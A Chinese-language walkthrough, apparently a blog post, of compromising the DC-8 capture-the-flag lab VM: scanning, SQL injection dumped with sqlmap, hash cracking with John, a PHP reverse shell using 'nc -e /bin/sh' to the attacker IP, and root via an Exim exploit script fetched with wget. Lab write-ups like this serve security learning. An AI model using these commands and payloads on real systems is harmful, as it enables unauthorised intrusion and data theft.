对DC-8靶机进行渗透测试

前言

靶机:DC-8,IP地址:192.168.52.141

攻击机:Kali,IP地址:192.168.52.134

一. 信息收集

1、下载安装并启动DC-8

下载完解压后会有一个以.ova为后缀的文件,直接在VM中用”打开虚拟机”,在设置中修改网络适配器为NET模式。

在这里记一下DC-8的MAC地址,等下用的到。

启动DC-8时开机就好,因为不知道用户名和密码,所以登录不了

2、打开kali,查看kali的IP地址和子网掩码

因为DC-8和kali现在属于同一个网段,查看kali的IP和子网掩码是为了获得DC-8的网络号

DC-8的网络号是:192.168.52.0/24

3、使用netdiscover扫描主机

netdiscover -i eth0 -r 192.168.52.0/24

##netdiscover: -i 指定网卡 -r 指定网段

也可以使用nmap进行主机发现,

nmap -sP 192.168.52.0/24

在使用nmap进行主机发现时,会扫描出本机的IP地址,而netdiscover则不会扫描出本机IP地址

或使用arp-scan -l命令拿到DC-8的IP地址

arp-scan -l

根据之前记下的MAC地址确定扫描到的主机哪一个是DC-8,因为MAC地址是主机的唯一标识。

获得DC-8靶机ip:192.168.52.141(可通过kali浏览器访问进行验证)

4、使用nmap扫描DC-8,看有什么服务是可利用的(端口扫描)

root@kali:~# nmap -sV -A 192.168.52.141

-sV只扫描端口及其版本号

-A扫描端口的详细信息

发现目标机开放了22、80端口。

5、我们以80端口作为突破口,访问80,查看基本信息

可以使用Firefox插件Wappalyzer,或者扫描网站目录,查看robots.txt等暴露出的信息,可以获取到网站相关信息

Wappalyzer相关信息:

利用dirsearch进行网站目录扫描:

dirsearch -u 192.168.52.136 -e * -i 200

-i 状态码 只显示该状态码

-x 状态码 不显示该状态码

发现后台登入框

6、进行漏洞查找

在前面点击Details的几个链接,然后发现url里有个nid参数,尝试检测注入:

a、单引号报错:错误信息是多了个单引号

b、尝试and 1=1#和and 1=2#

确定存在sql注入漏洞

二. 漏洞利用

1. SQL注入

利用kali自带的sqlmap工具进行自动化注入:

a、列出所有数据库:

sqlmap -u "http://192.168.52.141/?nid=1"  --batch --dbs
--batch 默认确认,不询问你是否输入
--dbs列出所有数据库 

b、列出指定数据库的所有表

sqlmap -u "http://192.168.52.141/?nid=1"  --batch -D d7db --tables
-D 指定数据库,当数据库名含有特殊符号的时候,需要用引号包括起来
--tables 获取表名

c、查看所有字段

sqlmap -u "http://192.168.52.141/?nid=1"  -D d7db -T users --columns
-T 指定表名,当表名含有特殊符号的时候,需要用引号包括起来
--columns  获取字段

这里就不能用--batch参数了,会默认使用公共参数爆破给N掉,导致注入失败,根据提示,手工输入y并回车即可

d、查看用户名与密码

sqlmap -u "http://192.168.52.141/?nid=1"  -D d7db -T users -C name,pass --dump
-C 指定字段
--dump  获取数据信息
admin:$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z 
john:$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF 

密码是加密过的,没有加密函数只能爆破密码了

2. 密码爆破

利用John工具,对该密码进行爆破拆解,工具详细信息参考John介绍及常用命令使用说明

先在桌面创建一个文件,将上面的hash密码复制进去并保存,接着使用john指向该文件

得到john用户的密码为:turtle,而admin用户的密码破解不出来,登入后台

3、反弹shell

发现Contact Us 页面可以修改,所以可以直接写入一个shell,然后将其反弹到攻击机。

点击edit后选择WEBFORM -> Form settings:

然后选择phpcode,然后写上一句话反弹shell:

<?php system("nc -e /bin/sh 192.168.52.134 4444"); ?>

拉到最下面保存:

在kali开启监听4444端口,然后访问Contact Us:

nc -lvvp 4444

插入一句话弹shell的是在提交数据后才会执行,所以submit:

成功弹回shell:

获取交互式shell:

python -c 'import pty;pty.spawn("/bin/bash")'

三、提权

1、使用命令查看是否有suid的提权的命令

find / -perm -u=s -type f 2>/dev/null

找到一个exim4的命令,查看其版本

/usr/sbin/exim4 --version

2、查找漏洞

使用searchsploit来寻找版本漏洞

searchsploit exim 4

盯住 privilege escalation,选定46996.sh脚本文件

将脚本复制到本地,命令为shell.sh

或者也可以在此链接直接下载该exp:https://www.exploit-db.com/exploits/46996

cp /usr/share/exploitdb/exploits/linux/local/46996.sh shell.sh

3、把脚本文件导入到DC-8靶机

接着在桌面开启http服务,将shell.sh脚本文件导入到DC-8靶机里

python3 -m http.server 8888

浏览器访问一下开启的http服务

出现这个说明服务开启成功,exp地址是

http://192.168.52.134:8888/shell.sh

回到我们的虚拟终端,利用wget命令下载该工具,而在靶机中下载脚本时,只能在靶机的tmp目录下下载,因为/tmp目录的权限大。

cd /tmp

wget http://192.168.52.134:8888/shell.sh

4、执行脚本文件,获得root权限,得到flag

查看shell.sh脚本文件

脚本有两种执行方式:

./shell.sh -m setuid

./shell.sh -m netcat

赋予脚本权限,然后执行脚本

chmod 777 shell.sh #赋予脚本权限

./shell.sh -m netcat #执行脚本

执行后很快就会断开连接,所以需要快点,得到flag

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值